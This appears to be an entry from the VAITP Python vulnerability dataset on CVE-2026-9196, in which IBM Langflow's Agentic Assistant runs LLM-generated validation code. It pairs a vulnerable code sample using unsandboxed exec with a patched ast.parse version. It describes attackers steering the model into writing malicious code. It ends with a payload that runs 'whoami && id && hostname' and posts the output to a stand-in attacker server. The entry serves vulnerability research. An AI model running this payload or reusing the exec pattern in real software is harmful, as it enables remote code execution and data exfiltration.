CVE-2026-9196
Authenticated RCE in Agentic Assistant validation from LLM-generated code.
- CVSS 8.1
- 94
- Input Validation and Sanitization
- Remote
IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute unintended code during Agentic Assistant validation due to improper handling of LLM‑generated components. The application executes model‑generated Python code in the backend during validation prior to user approval, which may allow an attacker to trigger side effects such as outbound network access, file system interaction, or data exfiltration with the privileges of the Langflow backend process.
- CWE
- 94
- CVSS base score
- 8.1
- Published
- 2026-08-05
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- IBM Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade to IBM Langflow OSS version 1.11.0 or later. The patch prevents the automatic execution of model-generated Python code during validation.
Vulnerable code sample
import ast
import json
from typing import Dict
# Simplified representation of a component validation process
class AgenticAssistantValidator:
def __init__(self):
# In a real scenario, this might hold context, approved modules, etc.
self.validation_context = {}
def validate_component(self, component_config: Dict) -> Dict:
"""
Validates a dynamically generated component for an agent.
The component's 'validation_code' is provided by an LLM.
"""
validation_code = component_config.get("validation_code")
if not validation_code:
return {"status": "success", "message": "No validation code to run."}
try:
# The backend executes the LLM-generated code to check for its validity.
# An attacker can influence the LLM to generate malicious code.
# VULNERABLE: Unsandboxed execution of LLM-generated code during validation.
exec(validation_code, {"__builtins__": {}}, self.validation_context)
status = "success"
message = "Component validation script executed successfully."
except Exception as e:
status = "error"
message = f"Component validation failed: {str(e)}"
return {"status": status, "message": message}Patched code sample
import ast
import json
from typing import Dict
# Simplified representation of a component validation process
class AgenticAssistantValidator:
def __init__(self):
# In a real scenario, this might hold context, approved modules, etc.
self.validation_context = {}
def validate_component(self, component_config: Dict) -> Dict:
"""
Validates a dynamically generated component for an agent.
The component's 'validation_code' is provided by an LLM.
"""
validation_code = component_config.get("validation_code")
if not validation_code:
return {"status": "success", "message": "No validation code to run."}
try:
# The backend now only checks if the code is valid Python syntax.
# It does not execute the code, preventing side effects.
# FIX: Use safe static analysis (AST parsing) instead of code execution.
ast.parse(validation_code)
status = "success"
message = "Component validation script is syntactically valid."
except Exception as e:
status = "error"
message = f"Component validation failed: {str(e)}"
return {"status": status, "message": message}Payload
import os
import requests
# Execute a command to get system information
command_output = os.popen('whoami && id && hostname').read()
# Exfiltrate the information to an attacker-controlled server
requests.post('http://your-attacker-controlled-server.com', data=command_output)
Cite this entry
@misc{vaitp:cve20269196,
title = {{Authenticated RCE in Agentic Assistant validation from LLM-generated code.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-9196},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-9196/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
